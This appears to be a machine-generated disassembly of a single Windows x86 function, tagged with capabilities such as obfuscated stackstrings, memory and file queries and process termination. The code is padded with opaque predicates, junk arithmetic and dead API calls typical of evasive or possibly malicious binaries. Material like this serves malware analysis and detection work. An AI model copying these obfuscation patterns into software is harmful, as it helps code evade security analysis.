Function at 0x415c7c
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get common file path
Get file attributes
Get memory capacity
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe28
push esi
mov dword [ebp - 0x194], 0x4e064826
mov dword [ebp - 0x194], 0
jmp 0x415ca9
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x1d
jg 0x415e07
mov dword [ebp - 0xad4], 0x25b0e446
mov dword [ebp - 0xad0], 0x25b0e446
mov dword [ebp - 0xacc], 0x25b0e446
mov dword [ebp - 0xac8], 0x25b0e446
lea ecx, [ebp - 0x2bd]
call fcn.004014f9
push eax
lea eax, [ebp - 0xac4]
push eax
lea eax, [ebp - 0xad4]
push eax
lea ecx, [ebp - 0xda4]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd68]
call fcn.004014a8
mov dword [ebp - 0x1ec], 0x6d4f2887
mov dword [ebp - 0x19c], 7
mov dword [ebp - 0x884], 0
mov dword [ebp - 0x1ec], 3
jmp 0x415d4a
mov eax, dword [ebp - 0x1ec]
dec eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0
jl 0x415df7
mov dword [ebp - 0x600], 0x245f
mov dword [ebp - 0x19c], 0x4fc2285f
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0xd00], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0xc2c], eax
mov eax, dword [ebp - 0x600]
sub eax, dword [ebp - 0x884]
cmp eax, 0x6b8d
jg 0x415da2
mov dword [ebp - 0x7ec], 1
jmp 0x415da9
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x600]
cmp dword [ebp - 0x7ec], eax
jge 0x415dc3
mov dword [ebp - 0x800], 1
jmp 0x415dca
and dword [ebp - 0x800], 0
cmp dword [ebp - 0x800], 1
jne 0x415ddf
mov dword [ebp - 0x808], 1
jmp 0x415de6
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x808]
mov dword [ebp - 0x19c], eax
jmp 0x415d3d
lea ecx, [ebp - 0xd68]
call fcn.004014ce
jmp 0x415c9c
mov byte [ebp - 0x102], 0
movzx eax, byte [ebp - 0x102]
test eax, eax
je 0x415e1f
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
cmp dword [0xa779dc], 0
jne 0x41aefa
mov dword [ebp - 0x88], 0xd29be1d9
mov dword [ebp - 0xaac], 0x1af6658d
mov dword [ebp - 0xaa8], 0x1af6658d
mov dword [ebp - 0xaa4], 0x1af6658d
mov dword [ebp - 0xaa0], 0x1af6658d
lea ecx, [ebp - 0x33d]
call fcn.004014f9
push eax
lea eax, [ebp - 0xa9c]
push eax
lea eax, [ebp - 0xaac]
push eax
lea ecx, [ebp - 0xdfc]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc64]
call fcn.004014a8
mov dword [ebp - 0x958], 5
mov dword [ebp - 0x50], 0
jmp 0x415ead
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x415ec3
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x378], 0x648261f9
jmp 0x415ea6
mov dword [ebp - 0x50], 0
jmp 0x415ed3
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x415ee9
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xb1c], 9
jmp 0x415ecc
mov dword [ebp - 0x88], 0
jmp 0x415f02
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jg 0x41602c
mov dword [ebp - 0xa8], 0xf2887cf2
mov dword [ebp - 0x8d4], 0x7d8cf4c5
mov dword [ebp - 0xa8], 0
jmp 0x415f3c
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jg 0x416027
push 1
lea ecx, [ebp - 0xa0c]
call fcn.004013fc
mov dword [ebp - 0x238], 0
jmp 0x415f6f
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 1
jge 0x415f91
push dword [ebp - 0x238]
lea ecx, [ebp - 0xa0c]
call fcn.004014ea
mov dword [eax], 0x46c2e7cc
jmp 0x415f62
mov eax, dword [ebp - 0x8d4]
cmp dword [ebp - 0xa8], eax
jge 0x415fab
mov dword [ebp - 0x810], 1
jmp 0x415fb2
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp + eax*4 - 0x378]
cmp eax, dword [ebp - 0x810]
je 0x415fd9
cmp dword [ebp - 0xa8], 0
jne 0x415fd9
and dword [ebp - 0x818], 0
jmp 0x415fe3
mov dword [ebp - 0x818], 1
push 0
lea ecx, [ebp - 0xa0c]
call fcn.004014ea
mov ecx, dword [ebp - 0x818]
mov dword [eax], ecx
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x378], 0
je 0x416017
lea ecx, [ebp - 0xa0c]
call fcn.004014ce
jmp 0x415f2f
lea ecx, [ebp - 0xa0c]
call fcn.004014ce
jmp 0x415f2f
jmp 0x415ef5
cmp dword [ebp - 0x88], 0
jne 0x416048
mov eax, dword [ebp - 0x88]
neg eax
jne 0x416048
and dword [ebp - 0x820], 0
jmp 0x416052
mov dword [ebp - 0x820], 1
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x820]
jg 0x41606c
mov dword [ebp - 0x8dc], 1
jmp 0x416073
and dword [ebp - 0x8dc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x378]
mov dword [ebp - 0x828], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x828]
mov dword [ebp + eax - 0xb1c], ecx
cmp dword [ebp - 0x828], 0
jne 0x4160b4
mov eax, 0xad0d
test eax, eax
jne 0x4160b4
and dword [ebp - 0x844], 0
jmp 0x4160be
mov dword [ebp - 0x844], 1
mov eax, dword [ebp - 0x844]
add eax, 0xcc72
jne 0x4160d7
mov dword [ebp - 0x950], 1
jmp 0x4160de
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xd40], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xb1c]
cmp dword [ebp + eax - 0x378], ecx
jle 0x416121
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb1c], 0
je 0x416121
mov dword [ebp - 0x760], 1
jmp 0x416128
and dword [ebp - 0x760], 0
cmp dword [ebp - 0x760], 0x4e20
jl 0x416140
mov dword [ebp - 0x384], 1
jmp 0x416147
and dword [ebp - 0x384], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x378]
cmp dword [ebp - 0x384], eax
jne 0x41616b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x378], 0
je 0x41617b
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x41617b
and dword [ebp - 0x6e4], 0
jmp 0x416185
mov dword [ebp - 0x6e4], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x378]
cmp dword [ebp - 0x6e4], eax
jg 0x4161a6
mov dword [ebp - 0x38c], 1
jmp 0x4161ad
and dword [ebp - 0x38c], 0
push 1
lea ecx, [ebp - 0xc64]
call fcn.004014ea
mov ecx, dword [ebp - 0x38c]
cmp ecx, dword [eax]
jge 0x4161d0
mov dword [ebp - 0x6ec], 1
jmp 0x4161d7
and dword [ebp - 0x6ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x378]
cmp dword [ebp - 0x6ec], eax
jle 0x4161f8
mov dword [ebp - 0x394], 1
jmp 0x4161ff
and dword [ebp - 0x394], 0
cmp dword [ebp - 0x394], 0xffffffff
jg 0x416214
mov dword [ebp - 0x6f4], 1
jmp 0x41621b
and dword [ebp - 0x6f4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x6f4]
sub ecx, dword [ebp + eax - 0x378]
mov dword [ebp - 0x958], ecx
lea ecx, [ebp - 0xc64]
call fcn.004014ce
mov dword [ebp - 0x1c], 0xf1fe
mov dword [ebp - 0x140], 0x20fe6e32
push 1
lea ecx, [ebp - 0x85c]
call fcn.004013fc
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x1a4], 0
jmp 0x41627f
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 1
jge 0x4162a1
push dword [ebp - 0x1a4]
lea ecx, [ebp - 0x85c]
call fcn.004014ea
mov dword [eax], 1
jmp 0x416272
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x140], 0xf
jmp 0x4162c3
mov eax, dword [ebp - 0x140]
dec eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xfffffff7
jl 0x41648d
mov dword [ebp - 0x960], 0xb363f9e9
mov dword [ebp - 0x1ac], 0
cmp dword [ebp - 0x960], 0
je 0x4162f2
jmp 0x41648d
mov dword [ebp - 0x1c], 0
jmp 0x416302
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x416488
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x85c]
call fcn.004014ea
mov esi, eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x85c]
call fcn.004014ea
mov ecx, dword [esi]
mov dword [eax], ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x85c]
call fcn.004014ea
mov ecx, dword [ebp - 0x1ac]
add ecx, dword [eax]
je 0x416354
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1ac], eax
jmp 0x416483
mov dword [ebp - 0x228], 0x6840eb44
push 2
lea ecx, [ebp - 0xb64]
call fcn.004013fc
mov dword [ebp - 0x200], 0
jmp 0x416384
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 2
jge 0x4163a3
push dword [ebp - 0x200]
lea ecx, [ebp - 0xb64]
call fcn.004014ea
or dword [eax], 0xffffffff
jmp 0x416377
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc34], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0xd50], eax
cmp dword [ebp - 0x2d4], 0
jne 0x4163df
mov eax, 0xf066
test eax, eax
jne 0x4163df
and dword [ebp - 0x39c], 0
jmp 0x4163e9
mov dword [ebp - 0x39c], 1
cmp dword [ebp - 0x39c], 0
jae 0x4163fe
mov dword [ebp - 0x6fc], 1
jmp 0x416405
and dword [ebp - 0x6fc], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x85c]
call fcn.004014ea
mov ecx, dword [ebp - 0x6fc]
sub ecx, dword [ebp - 0x228]
mov eax, dword [eax]
sub eax, ecx
add eax, dword [ebp - 0x2d4]
cmp eax, dword [ebp - 0x228]
je 0x416438
cmp dword [ebp - 0x2d4], 0
mov esi, dword [ebp - 0x228]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x85c]
call fcn.004014ea
cmp esi, dword [eax]
je 0x41645c
mov dword [ebp - 0x3a4], 1
jmp 0x416463
and dword [ebp - 0x3a4], 0
push 1
lea ecx, [ebp - 0xb64]
call fcn.004014ea
mov ecx, dword [ebp - 0x3a4]
mov dword [eax], ecx
lea ecx, [ebp - 0xb64]
call fcn.004014ce
jmp 0x4162fb
jmp 0x4162b6
lea ecx, [ebp - 0x85c]
call fcn.004014ce
mov byte [ebp - 0x2bc], 8
mov byte [ebp - 0x2bb], 0x2f
mov byte [ebp - 0x2ba], 7
mov byte [ebp - 0x2b9], 0x35
mov byte [ebp - 0x2b8], 9
mov byte [ebp - 0x2b7], 0x69
mov byte [ebp - 0x2b6], 3
mov byte [ebp - 0x2b5], 0x75
mov byte [ebp - 0x2b4], 0
mov byte [ebp - 0x2b3], 0x54
mov byte [ebp - 0x2b2], 0xa
mov byte [ebp - 0x2b1], 0x77
mov byte [ebp - 0x2b0], 1
mov byte [ebp - 0x2af], 0x72
mov byte [ebp - 0x2ae], 5
mov byte [ebp - 0x2ad], 0x7b
mov byte [ebp - 0x2ac], 4
mov byte [ebp - 0x2ab], 0x76
mov byte [ebp - 0x2aa], 0x21
mov byte [ebp - 0x2a9], 0xea
mov byte [ebp - 0x2a8], 0x23
mov byte [ebp - 0x2a7], 0xeb
mov byte [ebp - 0x2a6], 0xad
mov byte [ebp - 0x2a5], 0xc7
mov byte [ebp - 0x2a4], 0x47
mov byte [ebp - 0x2a3], 0x8d
mov byte [ebp - 0x2a2], 0xd7
mov byte [ebp - 0x2a1], 0x55
mov byte [ebp - 0x2a0], 0xb8
mov byte [ebp - 0x29f], 0x26
mov byte [ebp - 0x29e], 0x86
mov byte [ebp - 0x29d], 0x18
mov byte [ebp - 0x29c], 0x3c
mov byte [ebp - 0x29b], 0x74
mov byte [ebp - 0x29a], 0x51
mov byte [ebp - 0x299], 0xdd
mov byte [ebp - 0x298], 0xbb
mov byte [ebp - 0x297], 0xd0
mov byte [ebp - 0x296], 0xf9
mov byte [ebp - 0x295], 0xf1
mov byte [ebp - 0x294], 0x9f
mov byte [ebp - 0x293], 5
mov byte [ebp - 0x292], 0xef
mov byte [ebp - 0x291], 0x90
mov byte [ebp - 0x290], 0x80
mov byte [ebp - 0x28f], 0x62
mov byte [ebp - 0x28e], 0x16
mov byte [ebp - 0x28d], 0xa0
mov byte [ebp - 0x28c], 1
mov byte [ebp - 0x28b], 0xe
mov byte [ebp - 0x28a], 0xc9
mov byte [ebp - 0x289], 6
mov byte [ebp - 0x288], 0x46
mov byte [ebp - 0x287], 0xb
mov byte [ebp - 0x286], 0x81
mov byte [ebp - 0x285], 2
mov byte [ebp - 0x284], 0x89
mov dword [ebp - 0x14c], 0xfe6e3245
mov dword [ebp - 0x1b4], 0x8373b2c
mov dword [ebp - 0x208], 0xfffffffe
mov dword [ebp - 0xafc], 0xc6c8951b
mov dword [ebp - 0xaf8], 0xc6c8951b
mov dword [ebp - 0xaf4], 0xc6c8951b
mov dword [ebp - 0xaf0], 0xc6c8951b
lea ecx, [ebp - 0x2c9]
call fcn.004014f9
push eax
lea eax, [ebp - 0xaec]
push eax
lea eax, [ebp - 0xafc]
push eax
lea ecx, [ebp - 0xdbc]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x880]
call fcn.004014a8
cmp dword [ebp - 0x14c], 0
je 0x416902
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xc48], eax
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xcf4], eax
cmp dword [ebp - 0x14c], 1
jl 0x4166dc
mov dword [ebp - 0x704], 1
jmp 0x4166e3
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x41670a
mov eax, 0xc37fc054
test eax, eax
jne 0x41670a
and dword [ebp - 0x968], 0
jmp 0x416714
mov dword [ebp - 0x968], 1
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xc50], eax
mov eax, 0xf08e
cmp eax, 0xffff
je 0x416741
cmp dword [ebp - 0x208], 0
je 0x416741
mov dword [ebp - 0x3ac], 1
jmp 0x416748
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x3ac], eax
jg 0x416762
mov dword [ebp - 0x70c], 1
jmp 0x416769
and dword [ebp - 0x70c], 0
cmp dword [ebp - 0x70c], 0x8a01
jg 0x416781
mov dword [ebp - 0x970], 1
jmp 0x416788
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xd30], eax
push 0
lea ecx, [ebp - 0x880]
call fcn.004014ea
mov eax, dword [eax]
add eax, 0x50635c16
cmp eax, 0xe8f0
je 0x4167bb
mov dword [ebp - 0x3b4], 1
jmp 0x4167c2
and dword [ebp - 0x3b4], 0
imul eax, dword [ebp - 0x3b4], 0xffffffff
cmp eax, 0x985b
jne 0x4167dc
mov dword [ebp - 0x714], 1
jmp 0x4167e3
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x208]
add eax, dword [ebp - 0x714]
je 0x416902
push 0
lea ecx, [ebp - 0x880]
call fcn.004014ea
cmp dword [eax], 0
je 0x416902
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x2dc], 1
mov dword [ebp - 0x980], 0xffffffff
mov eax, dword [ebp - 0x344]
sub eax, 7
je 0x416852
push 0
lea ecx, [ebp - 0x880]
call fcn.004014ea
cmp dword [eax], 0
je 0x416852
mov dword [ebp - 0x3bc], 1
jmp 0x416859
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x2dc]
cmp dword [ebp - 0x3bc], eax
jge 0x416873
mov dword [ebp - 0x71c], 1
jmp 0x41687a
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x344]
cmp eax, dword [ebp - 0x71c]
jl 0x416894
mov dword [ebp - 0x978], 1
jmp 0x41689b
and dword [ebp - 0x978], 0
push 0
lea ecx, [ebp - 0x880]
call fcn.004014ea
push 0
lea ecx, [ebp - 0x880]
call fcn.004014ea
cmp dword [ebp - 0x14c], 0
jne 0x4168d0
cmp dword [ebp - 0x208], 0
jne 0x4168d0
and dword [ebp - 0x3c4], 0
jmp 0x4168da
mov dword [ebp - 0x3c4], 1
cmp dword [ebp - 0x3c4], 0xffffffff
jle 0x4168ea
cmp dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x980], 0x5c5bb085
jmp 0x41691c
mov byte [ebp - 0x9c], 0
movzx eax, byte [ebp - 0x9c]
test eax, eax
je 0x41691c
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea ecx, [ebp - 0x880]
call fcn.004014ce
and dword [ebp - 0x58], 0
and dword [ebp - 0x4a0], 0
jmp 0x41693c
mov eax, dword [ebp - 0x58]
inc eax
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x39
jae 0x4178ea
mov dword [ebp - 0x164], 0xfe6e3245
mov dword [ebp - 0x1bc], 0x8373b2c
mov dword [ebp - 0x248], 0xfffffffe
mov dword [ebp - 0xa70], 0xc6c8951b
mov dword [ebp - 0xa6c], 0xc6c8951b
mov dword [ebp - 0xa68], 0xc6c8951b
mov dword [ebp - 0xa64], 0xc6c8951b
lea ecx, [ebp - 0x340]
call fcn.004014f9
push eax
lea eax, [ebp - 0xa60]
push eax
lea eax, [ebp - 0xa70]
push eax
lea ecx, [ebp - 0xddc]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x874]
call fcn.004014a8
cmp dword [ebp - 0x164], 0
je 0x416c21
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0xc58], eax
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0xcfc], eax
cmp dword [ebp - 0x164], 1
jl 0x4169fb
mov dword [ebp - 0x724], 1
jmp 0x416a02
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jne 0x416a29
mov eax, 0xc37fc054
test eax, eax
jne 0x416a29
and dword [ebp - 0x988], 0
jmp 0x416a33
mov dword [ebp - 0x988], 1
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0xc68], eax
mov eax, 0xf08e
cmp eax, 0xffff
je 0x416a60
cmp dword [ebp - 0x248], 0
je 0x416a60
mov dword [ebp - 0x3cc], 1
jmp 0x416a67
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0x3cc], eax
jg 0x416a81
mov dword [ebp - 0x72c], 1
jmp 0x416a88
and dword [ebp - 0x72c], 0
cmp dword [ebp - 0x72c], 0x8a01
jg 0x416aa0
mov dword [ebp - 0x990], 1
jmp 0x416aa7
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0xd48], eax
push 0
lea ecx, [ebp - 0x874]
call fcn.004014ea
mov eax, dword [eax]
add eax, 0x50635c16
cmp eax, 0xe8f0
je 0x416ada
mov dword [ebp - 0x3d4], 1
jmp 0x416ae1
and dword [ebp - 0x3d4], 0
imul eax, dword [ebp - 0x3d4], 0xffffffff
cmp eax, 0x985b
jne 0x416afb
mov dword [ebp - 0x734], 1
jmp 0x416b02
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x248]
add eax, dword [ebp - 0x734]
je 0x416c21
push 0
lea ecx, [ebp - 0x874]
call fcn.004014ea
cmp dword [eax], 0
je 0x416c21
mov dword [ebp - 0x324], 0
mov dword [ebp - 0x2e4], 1
mov dword [ebp - 0x9a0], 0xffffffff
mov eax, dword [ebp - 0x324]
sub eax, 7
je 0x416b71
push 0
lea ecx, [ebp - 0x874]
call fcn.004014ea
cmp dword [eax], 0
je 0x416b71
mov dword [ebp - 0x3dc], 1
jmp 0x416b78
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x2e4]
cmp dword [ebp - 0x3dc], eax
jge 0x416b92
mov dword [ebp - 0x73c], 1
jmp 0x416b99
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x324]
cmp eax, dword [ebp - 0x73c]
jl 0x416bb3
mov dword [ebp - 0x998], 1
jmp 0x416bba
and dword [ebp - 0x998], 0
push 0
lea ecx, [ebp - 0x874]
call fcn.004014ea
push 0
lea ecx, [ebp - 0x874]
call fcn.004014ea
cmp dword [ebp - 0x164], 0
jne 0x416bef
cmp dword [ebp - 0x248], 0
jne 0x416bef
and dword [ebp - 0x3e4], 0
jmp 0x416bf9
mov dword [ebp - 0x3e4], 1
cmp dword [ebp - 0x3e4], 0xffffffff
jle 0x416c09
cmp dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x9a0], 0x5c5bb085
jmp 0x416c3b
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x416c3b
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea ecx, [ebp - 0x874]
call fcn.004014ce
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x2bc]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x58], eax
jne 0x41773c
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x744], 8
mov dword [ebp - 0x2c], 0xfffffffb
jmp 0x416c82
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe7
jne 0x416e75
mov dword [ebp - 0x154], 0xfffffff8
mov dword [ebp - 0x1c4], 0
jmp 0x416caf
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jge 0x416ccb
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x330], 0xfffffffd
jmp 0x416ca2
cmp dword [ebp - 0x2c], 0
je 0x416da9
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x744], eax
mov eax, dword [ebp - 0x744]
add eax, dword [ebp - 0x2c]
cmp eax, 0x5954e3f1
jge 0x416cfa
mov dword [ebp - 0x3ec], 1
jmp 0x416d01
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x3ec], 0x1c09
jne 0x416d19
mov dword [ebp - 0x74c], 1
jmp 0x416d20
and dword [ebp - 0x74c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x330]
neg eax
imul ecx, dword [ebp - 0x74c], 0x21dd
add eax, ecx
cmp dword [ebp - 0x2c], eax
jge 0x416d4c
mov dword [ebp - 0x3f4], 1
jmp 0x416d53
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x3f4], eax
jge 0x416d6a
mov dword [ebp - 0x754], 1
jmp 0x416d71
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x754], eax
jge 0x416d8b
mov dword [ebp - 0x3fc], 1
jmp 0x416d92
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x3fc], eax
jge 0x416da9
mov dword [ebp - 0x75c], 1
jmp 0x416db0
and dword [ebp - 0x75c], 0
cmp dword [ebp - 0x75c], 1
jle 0x416dc5
mov dword [ebp - 0x9c4], 1
jmp 0x416dcc
and dword [ebp - 0x9c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x330]
mov dword [ebp - 0xc78], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x330], 0
je 0x416e51
mov dword [ebp - 0x8e8], 0
cmp dword [ebp - 0x8e8], 0
je 0x416e0c
cmp dword [ebp - 0x2c], 0
je 0x416e0a
jmp 0x416e75
jmp 0x416e4f
mov dword [ebp - 0x154], 0
jmp 0x416e25
mov eax, dword [ebp - 0x154]
dec eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jl 0x416e4f
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x416e4d
push 0
push 0x2c6
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
jmp 0x416e18
jmp 0x416e70
mov byte [ebp - 0x97], 0
movzx eax, byte [ebp - 0x97]
test eax, eax
je 0x416e70
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
jmp 0x416c7b
mov dword [ebp - 0x4a0], 0x21
mov eax, dword [ebp - 0x58]
add eax, 0x1f
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xb8], 0xf43b7c7c
mov dword [ebp - 0x15c], 0xffffffff
mov dword [ebp - 0x13c], 4
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0xb0], 0xed1d25bb
mov dword [ebp - 0x79c], 0xfffffffd
mov dword [ebp - 0x128], 0xf3b0639e
mov dword [ebp - 0x78], 3
mov dword [ebp - 0x90], 6
push 2
lea ecx, [ebp - 0x9b0]
call fcn.004013fc
mov dword [ebp - 0x890], 0
mov dword [ebp - 0x210], 0
jmp 0x416f0f
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x416f31
push dword [ebp - 0x210]
lea ecx, [ebp - 0x9b0]
call fcn.004014ea
mov dword [eax], 0x1f88
jmp 0x416f02
mov dword [ebp - 0xb8], 0xfffffff7
jmp 0x416f4a
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xfffffff5
je 0x4171cd
mov dword [ebp - 0x174], 0xd6b65720
mov dword [ebp - 0x1cc], 0x3b1dab55
mov dword [ebp - 0x2ec], 0xffff
cmp dword [ebp - 0x174], 0
jne 0x41702f
cmp dword [ebp - 0xb8], 0
jne 0x417013
mov eax, dword [ebp - 0x78]
sub eax, dword [ebp - 0xb8]
cmp eax, 0xfffffffe
jl 0x416fa9
mov dword [ebp - 0x404], 1
jmp 0x416fb0
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x404], eax
jg 0x416fca
mov dword [ebp - 0x764], 1
jmp 0x416fd1
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x2ec]
dec eax
mov dword [ebp - 0x2ec], eax
mov eax, dword [ebp - 0x2ec]
cmp eax, dword [ebp - 0x764]
jne 0x416ff0
cmp dword [ebp - 0x78], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xd04], eax
mov eax, dword [ebp - 0x15c]
cmp dword [ebp - 0xb0], eax
jne 0x417013
and dword [ebp - 0x40c], 0
jmp 0x41701d
mov dword [ebp - 0x40c], 1
cmp dword [ebp - 0x40c], 0
ja 0x41702f
and dword [ebp - 0x76c], 0
jmp 0x417039
mov dword [ebp - 0x76c], 1
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x76c], eax
jle 0x417053
mov dword [ebp - 0x414], 1
jmp 0x41705a
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x1cc]
cmp dword [ebp - 0x414], eax
jle 0x417074
mov dword [ebp - 0x774], 1
jmp 0x41707b
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x15c]
cmp dword [ebp - 0x774], eax
jne 0x41709e
mov eax, 0x18eb
test eax, eax
je 0x41709e
mov dword [ebp - 0x41c], 1
jmp 0x4170a5
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
sub eax, dword [ebp - 0x13c]
jne 0x4170c5
cmp dword [ebp - 0x1cc], 0
jne 0x4170c5
and dword [ebp - 0x77c], 0
jmp 0x4170cf
mov dword [ebp - 0x77c], 1
cmp dword [ebp - 0x77c], 0x40b319b
jge 0x4170e7
mov dword [ebp - 0x424], 1
jmp 0x4170ee
and dword [ebp - 0x424], 0
cmp dword [ebp - 0x424], 0x8ba79672
jb 0x417106
mov dword [ebp - 0x784], 1
jmp 0x41710d
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xc88], eax
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0xd38], eax
